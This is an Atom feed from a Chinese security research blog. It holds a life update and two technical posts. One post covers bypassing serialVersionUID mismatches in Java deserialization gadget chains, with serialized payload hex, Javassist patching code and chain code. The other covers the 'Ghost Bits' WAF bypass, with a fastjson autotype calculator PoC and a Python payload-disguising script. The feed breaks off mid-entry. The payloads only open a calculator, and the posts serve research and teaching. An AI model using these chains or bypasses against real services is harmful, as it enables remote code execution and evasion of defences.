<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Ner0p1r&#39;s Blog</title>
  
  <subtitle>Stay hungry, Stay foolish. 梦想是写出最棒的代码。</subtitle>
  <link href="https://iloli.moe/atom.xml" rel="self"/>
  
  <link href="https://iloli.moe/"/>
  <updated>2026-05-07T04:50:46.611Z</updated>
  <id>https://iloli.moe/</id>
  
  <author>
    <name>Ner0p1r</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>The Future Direction of Blog Posts</title>
    <link href="https://iloli.moe/2099/01/13/the-future-direction-of-blog-posts/"/>
    <id>https://iloli.moe/2099/01/13/the-future-direction-of-blog-posts/</id>
    <published>2099-01-13T11:31:39.000Z</published>
    <updated>2026-05-07T04:50:46.611Z</updated>
    
    <content type="html"><![CDATA[<p>思考了一下，还是决定发出来，记得我在<a href="/2024/12/31/%E6%88%91%E7%9A%842024/#%E5%85%B3%E4%BA%8E%E5%8D%9A%E5%AE%A2">我的 2024</a>写过，博客后续会输出一些高质量的文章，现在可能要违背这个初心了</p><p><img src="https://bfs.iloli.moe/blog/20260113193239244.png" alt="image-20260113193239071"></p><p>我的私有RSS订阅服务器已经订阅了上千个技术博客，每天需要做的就是简单看一下这些大博主都写了些什么，然后把思路记录在本地Obsidian服务器上，也就是说，从今往后，我的博客将不会再输出以下类型的文章</p><ol><li>纯技术类&#x2F;思路分享&#x2F;实战分享</li><li>CTF解题思路&#x2F;CTF出题思路</li><li>相关AI辅助编写的文章&#x2F;CVE复现文章</li></ol><p>如果想要看上面这类的文章，可以关闭我这个博客了，以后这个博客只会发布一些日常生活记录，分享一些理财的操作，并且会保持纯手写的习惯，拒绝任何AI辅助生成出现，<strong>不过偶尔也会发一些我认为技术已经过时的或者没啥用的文章（2026年02月04日17时55分20秒补充）</strong></p><p>最后来说说为什么这么做，其实很简单，我刚才我很想啊，就是我每一次碰到你们我就讲中国有一句话叫「闷声大发财」，我就什么话也不说。這是最好的！但是我想，我见到你们这样热情啊，一句话不说也不好，所以你刚才你一定要————永远怀念🕯️</p><p>最后，祝大家新年快乐！早日A9！</p><p><strong>2026年04月15日19时07分54秒补充</strong></p><p>向伟大的安全开源者们致敬🫡，感谢开源项目为我带来新的灵感🙏，又可以学厂商接着抄代码咯😋</p><p><img src="https://bfs.iloli.moe/blog/20260415190743314.png" alt="内网GIT"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;思考了一下，还是决定发出来，记得我在&lt;a href=&quot;/2024/12/31/%E6%88%91%E7%9A%842024/#%E5%85%B3%E4%BA%8E%E5%8D%9A%E5%AE%A2&quot;&gt;我的 2024&lt;/a&gt;写过，博客后续会输出一些高质量的文章，现在可能要违</summary>
      
    
    
    
    <category term="Life" scheme="https://iloli.moe/categories/Life/"/>
    
    
    <category term="Life" scheme="https://iloli.moe/tags/Life/"/>
    
  </entry>
  
  <entry>
    <title>How to resolve serialVersionUID version discrepancies in Java?</title>
    <link href="https://iloli.moe/2026/05/01/How-to-resolve-serialVersionUID-version-discrepancies-in-Java/"/>
    <id>https://iloli.moe/2026/05/01/How-to-resolve-serialVersionUID-version-discrepancies-in-Java/</id>
    <published>2026-05-01T08:41:53.000Z</published>
    <updated>2026-05-07T04:50:46.607Z</updated>
    
    <content type="html"><![CDATA[<p>在打反序列化链子的时候，尤其像 cb 和 cc 这种链子，在遇到一些框架环境中，难免会遇到一些环境报出 <code>serialVersionUID</code> 不同的问题</p><blockquote><p>这也就是一个依赖可能有多个版本，而每个版本中的同名类，可能会有变化。serialVersionUID(后面简称suid)就是为了解决这个问题而出现的。这表现在，本地通过cb1.9.4生成的利用链，到服务端cb1.8.3就打不了 - <a href="https://1diot9.github.io/2025/10/30/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E6%8E%A2%E6%B5%8B/">Java反序列化链探测</a></p></blockquote><p>这里大家都知道<code>serialVersionUID</code>（简称 <strong>suid</strong>）不匹配本质上是 Java 的一种安全保护机制，旨在确保序列化对象和接收端的类定义是二进制兼容的，所以实战遇到的时候还是挺头疼的，而且打红的时候都是黑盒，你压根不知道版本是多少，但还是有绕过的手法的</p><p>在开始前，我们得先知道为什么 SUID 会变，如果钻研底层，会发现 JVM 判断两个类是否相同，除了看类型还会看 SUID，这里分两种情况</p><ul><li><strong>显式声明</strong>：如果开发者手动定义了 <code>private static final long serialVersionUID = 1L;</code>，那么只要这个值不懂，即使类成员变了，反序列化也能成功（当然不排除会抛出类型转换异常）</li><li><strong>隐式计算</strong>：如果类中没有显式声明 SUID，Java 编译器会根据类的细节（方法名、属性、修饰符等等）通过 SHA 算法自动生成一个 64 位的哈希值</li></ul><p>例如下面这条链子我们可以用 <a href="https://github.com/NickstaDB/SerializationDumper">https://github.com/NickstaDB/SerializationDumper</a> 这个工具来查看具体的 suid</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar SerializationDumper-v1.14.jar aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e0020000787000000502cafebabe00000034002b0a0007001e0a001f00200800210a001f00220700230700240700250100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100104c6578702f63616c63756c61746f723b01000d537461636b4d61705461626c650700240700230100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100016401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b010001730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b295601000264690100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b0100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000f63616c63756c61746f722e6a6176610c000800090700260c002700280100126f70656e202d612043616c63756c61746f720c0029002a0100136a6176612f6c616e672f457863657074696f6e01000e6578702f63616c63756c61746f72010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0021000600070000000000030001000800090001000a0000006600020002000000122ab70001b800021203b6000457a700044cb100010004000d001000050003000b0000001200040000000600040008000d00090011000a000c0000000c000100000012000d000e0000000f000000100002ff001000010700100001070011000001001200130001000a0000003f0000000300000001b100000002000b0000000600010000000c000c00000020000300000001000d000e000000000001001400150001000000010016001700020001001200180001000a000000490000000400000001b100000002000b0000000600010000000e000c0000002a000400000001000d000e000000000001001400150001000000010019001a0002000000010016001b00030001001c00000002001d7074000550776e6564707701007871007e000d78</span><br></pre></td></tr></table></figure><p><img src="https://bfs.iloli.moe/blog/20260501170732886.png" alt="image-20260501170727404"></p><p>简单整理一下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">java.util.PriorityQueue</span><br><span class="line">suid: 0x94da30b4fb3f82 b1</span><br><span class="line">org.apache.commons.beanutils.BeanComparator</span><br><span class="line">suid: 0xe3a188ea7322a448</span><br><span class="line">org.apache.commons.collections.comparators.ComparableComparator</span><br><span class="line">suid: 0xfbf49925b86eb137</span><br><span class="line">com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</span><br><span class="line">suid: 0x09574fc16eacab33</span><br></pre></td></tr></table></figure><h2 id="环境对齐"><a href="#环境对齐" class="headerlink" title="环境对齐"></a>环境对齐</h2><p>这个是比较直白的方法，通过报错信息，一般是 <code>local class incompatible: stream classdesc serialVersionUID = X, local class serialVersionUID = Y</code> 则可以确定服务端的版本，然后下载对应的 jar 包，或者 maven 重新拉一个，然后本地切换依赖重新生成 payload</p><h2 id="使用-URLDNS-进行探测"><a href="#使用-URLDNS-进行探测" class="headerlink" title="使用 URLDNS 进行探测"></a>使用 URLDNS 进行探测</h2><p><code>URLDNS</code> 链是 Java 反序列化中的“敲门砖”。由于它只依赖 JDK 自带的类（如 <code>java.util.HashMap</code>），而 JDK 核心类的 SUID 在不同次要版本间通常保持高度稳定性，因此它不受第三方库版本波动的影响。</p><h2 id="动态修改-Payload"><a href="#动态修改-Payload" class="headerlink" title="动态修改 Payload"></a>动态修改 Payload</h2><p>先用正常的环境打一遍，依赖如下</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.shiro<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>shiro-web<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.2.4<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>commons-beanutils<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>commons-beanutils<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.8.3<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">  <span class="comment">&lt;!--      &lt;version&gt;1.9.4&lt;/version&gt;--&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.2.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p><img src="https://bfs.iloli.moe/blog/20260501173023645.png" alt="image-20260501171211608"></p><p>然后再用高版本 cb 去打低版本 cb 会发现报错了</p><p><img src="https://bfs.iloli.moe/blog/20260501171644208.png" alt="image-20260501171644104"></p><p>这时候就得动态修改成服务端一样的 <code>serialVersionUID</code> 了，具体怎么做了，直接用 <code>Javassist</code> 是个不错的选，这里编写一个 <code>fixSUID()</code> 函数来动态修改我们的  <code>serialVersionUID</code> </p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">fixSUID</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="type">ClassPool</span> <span class="variable">classPool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">    <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> classPool.get(<span class="string">&quot;org.apache.commons.beanutils.BeanComparator&quot;</span>);</span><br><span class="line">    <span class="comment">// 先删掉</span></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">CtField</span> <span class="variable">oldField</span> <span class="operator">=</span> ctClass.getDeclaredField(<span class="string">&quot;serialVersionUID&quot;</span>);</span><br><span class="line">        ctClass.removeField(oldField);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (javassist.NotFoundException e) &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;SUID field not found, adding a new one...&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 然后加上目标的 SUID</span></span><br><span class="line">    <span class="type">CtField</span> <span class="variable">suidField</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CtField</span>(CtClass.longType, <span class="string">&quot;serialVersionUID&quot;</span>, ctClass);</span><br><span class="line">    suidField.setModifiers(javassist.Modifier.PRIVATE | javassist.Modifier.STATIC | javassist.Modifier.FINAL);</span><br><span class="line">    ctClass.addField(suidField, <span class="string">&quot;-3490850999041592962L&quot;</span>);</span><br><span class="line">    <span class="comment">// 接着重新塞回 JVM</span></span><br><span class="line">    ctClass.toClass();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后在链子前面加上这个函数用于动态修改</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">getPayload</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    fixSUID();</span><br><span class="line">    <span class="type">byte</span>[] code = Files.readAllBytes(Paths.get(<span class="string">&quot;/Users/icecliffs/Documents/Coding/java_shiro/target/classes/exp/Calculator.class&quot;</span>));</span><br><span class="line">    <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">    setFieldValue(templates, <span class="string">&quot;_bytecodes&quot;</span>, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;code&#125;);</span><br><span class="line">    setFieldValue(templates, <span class="string">&quot;_name&quot;</span>, <span class="string">&quot;Pwned&quot;</span>);</span><br><span class="line">    setFieldValue(templates, <span class="string">&quot;_tfactory&quot;</span>, <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line">    <span class="keyword">final</span> <span class="type">BeanComparator</span> <span class="variable">comparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BeanComparator</span>(<span class="literal">null</span>);</span><br><span class="line">    PriorityQueue&lt;Object&gt; queue = <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>&lt;&gt;(<span class="number">2</span>, comparator);</span><br><span class="line">    queue.add(<span class="number">1</span>);</span><br><span class="line">    queue.add(<span class="number">1</span>);</span><br><span class="line">    setFieldValue(comparator, <span class="string">&quot;property&quot;</span>, <span class="string">&quot;outputProperties&quot;</span>);</span><br><span class="line">    setFieldValue(queue, <span class="string">&quot;queue&quot;</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;templates, templates&#125;);</span><br><span class="line">    <span class="keyword">return</span> queue;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接着重新跑一条出来</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar SerializationDumper-v1.14.jar aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72cf8e0182fe4ef17e0200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e0020000787000000502cafebabe00000034002b0a0007001e0a001f00200800210a001f00220700230700240700250100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100104c6578702f63616c63756c61746f723b01000d537461636b4d61705461626c650700240700230100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100016401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b010001730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b295601000264690100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b0100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000f63616c63756c61746f722e6a6176610c000800090700260c002700280100126f70656e202d612043616c63756c61746f720c0029002a0100136a6176612f6c616e672f457863657074696f6e01000e6578702f63616c63756c61746f72010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0021000600070000000000030001000800090001000a0000006600020002000000122ab70001b800021203b6000457a700044cb100010004000d001000050003000b0000001200040000000600040008000d00090011000a000c0000000c000100000012000d000e0000000f000000100002ff001000010700100001070011000001001200130001000a0000003f0000000300000001b100000002000b0000000600010000000c000c00000020000300000001000d000e000000000001001400150001000000010016001700020001001200180001000a000000490000000400000001b100000002000b0000000600010000000e000c0000002a000400000001000d000e000000000001001400150001000000010019001a0002000000010016001b00030001001c00000002001d7074000550776e6564707701007871007e000d78</span><br></pre></td></tr></table></figure><p><img src="https://bfs.iloli.moe/blog/20260501173014842.png" alt="image-20260501172525916"></p><p>然后发送 poc，会发现打成功了</p><p><img src="https://bfs.iloli.moe/blog/20260501172616490.png" alt="image-20260501172616374"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;在打反序列化链子的时候，尤其像 cb 和 cc 这种链子，在遇到一些框架环境中，难免会遇到一些环境报出 &lt;code&gt;serialVersionUID&lt;/code&gt; 不同的问题&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这也就是一个依赖可能有多个版本，而每个版本中的同名类，可能</summary>
      
    
    
    
    <category term="Research" scheme="https://iloli.moe/categories/Research/"/>
    
    
    <category term="Security" scheme="https://iloli.moe/tags/Security/"/>
    
    <category term="JavaSec" scheme="https://iloli.moe/tags/JavaSec/"/>
    
  </entry>
  
  <entry>
    <title>Ghost Bits and Copy Error Privilege Escalation Retrospective</title>
    <link href="https://iloli.moe/2026/04/30/Ghost-Bits-and-Copy-Error-Privilege-Escalation-Retrospective/"/>
    <id>https://iloli.moe/2026/04/30/Ghost-Bits-and-Copy-Error-Privilege-Escalation-Retrospective/</id>
    <published>2026-04-30T08:25:06.000Z</published>
    <updated>2026-05-07T04:50:46.607Z</updated>
    
    <content type="html"><![CDATA[<p>这两个都是最近比较有意思的漏洞，一个是应用层的，一个是系统层的，咱们一个一个来</p><h2 id="Ghost-Bits"><a href="#Ghost-Bits" class="headerlink" title="Ghost Bits"></a>Ghost Bits</h2><p>这个中文叫做幽灵比特位，在 Black Hat Asia 2026 被 1ue 和 浅蓝 披露，其原理就是 Java 中 char 转 byte 时高位静默丢弃的底层缺陷，简单来说就是字节转换的问题，在 Java 中 char 为 16 位字节，byte 仅 8 位，如果我们把代码强制转换 (byte) ch 或 ch &amp; 0xfffffff，则高 8 位直接丢失，只保留低 8 位，这脑洞能想出来也是真的牛逼，藏了这么久</p><p>攻击者用<strong>Unicode 字符（中文 &#x2F; 特殊符号）</strong> 绕过 WAF 检测，后端执行时低 8 位还原为危险 ASCII：</p><ul><li>陪（U+966A）→ 低 8 位 0x6A → j</li><li>阮（U+962E）→ 低 8 位 0x2E → .</li><li>瘍（U+760D）→ 低 8 位 0x0D → \r</li><li>瘊（U+760A）→ 低 8 位 0x0A → \n</li></ul><p>WAF 看到中文，后端执行恶意代码，这就是幽灵比特位的核心，以汉字「爻」（U+2F58）为例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">爻  →  U+2F58  →  二进制：00101111 | 00111010</span><br><span class="line">(byte) 转换后：高 8 位 0x2F 丢弃，低 8 位 0x3A → &#x27;X&#x27;</span><br></pre></td></tr></table></figure><p>影响算是特别大吧，很多场景都能 bypass</p><h3 id="环境实验"><a href="#环境实验" class="headerlink" title="环境实验"></a>环境实验</h3><p>笔者这里用的是 fastjson 1.2.83 (开启 autotype) + commons-collections4 (4.0)，这里先打个基本的 calculator</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.parser.ParserConfig;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BitsTest</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">Calculator</span> &#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="title function_">Calculator</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">            java.lang.Runtime.getRuntime().exec(<span class="string">&quot;open -a Calculator.app&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        ParserConfig.getGlobalInstance().setSafeMode(<span class="literal">false</span>);</span><br><span class="line">        ParserConfig.getGlobalInstance().setAutoTypeSupport(<span class="literal">true</span>);</span><br><span class="line">        ParserConfig.getGlobalInstance().addAccept(<span class="string">&quot;BitsTest&quot;</span>);</span><br><span class="line">        <span class="type">String</span> <span class="variable">payload</span> <span class="operator">=</span> <span class="string">&quot;&#123;\&quot;@type\&quot;:\&quot;BitsTest$Calculator\&quot;&#125;&quot;</span>;</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> JSON.parseObject(payload, Object.class);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里用某亭的 waf 测测看</p><p><img src="https://bfs.iloli.moe/blog/20260430165953439.png" alt="image-20260430165953091"></p><p>可以发现很容易就被拦了，平时还是得多培养一些钻研精神，如果当时挖的 rce 知道有这种绕过方法就好了，然后来看一下绕过方法，网上都有轮子，随便找个跑一下就行（别被投毒了），或者用我这个精简版的</p><h3 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> urllib.parse</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_payload_v2</span>(<span class="params">cmd, base_offset=<span class="number">0x9600</span></span>):</span><br><span class="line">    ghost_str = <span class="string">&quot;&quot;</span>.join(<span class="built_in">chr</span>(base_offset + <span class="built_in">ord</span>(c)) <span class="keyword">for</span> c <span class="keyword">in</span> cmd)</span><br><span class="line">    url_encoded = urllib.parse.quote(ghost_str.encode(<span class="string">&#x27;utf-8&#x27;</span>))</span><br><span class="line">    unicode_escape = <span class="string">&quot;&quot;</span>.join(<span class="string">f&quot;\\u<span class="subst">&#123;<span class="built_in">ord</span>(c):04x&#125;</span>&quot;</span> <span class="keyword">for</span> c <span class="keyword">in</span> ghost_str)</span><br><span class="line">    <span class="keyword">return</span> ghost_str, url_encoded, unicode_escape</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    target_cmd = sys.argv[<span class="number">1</span>] <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) &gt; <span class="number">1</span> <span class="keyword">else</span> <span class="string">&quot;@type&quot;</span></span><br><span class="line">    ghost_str, url_payload, uni_payload = get_payload_v2(target_cmd)</span><br><span class="line">    <span class="built_in">print</span>(target_cmd)</span><br><span class="line">    <span class="built_in">print</span>(ghost_str)</span><br><span class="line">    <span class="built_in">print</span>(url_payload)</span><br><span class="line">    <span class="built_in">print</span>(uni_payload)</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><h3 id="实战绕过"><a href="#实战绕过" class="headerlink" title="实战绕过"></a>实战绕过</h3><p>这就很有意思了，waf 看见的只会认为这是一串合理的中文，完全不知道是一个 payload，所以绕过率还是挺高的，回到刚才那个场景，简单启动一个 http 服务，然后塞入 poc</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span 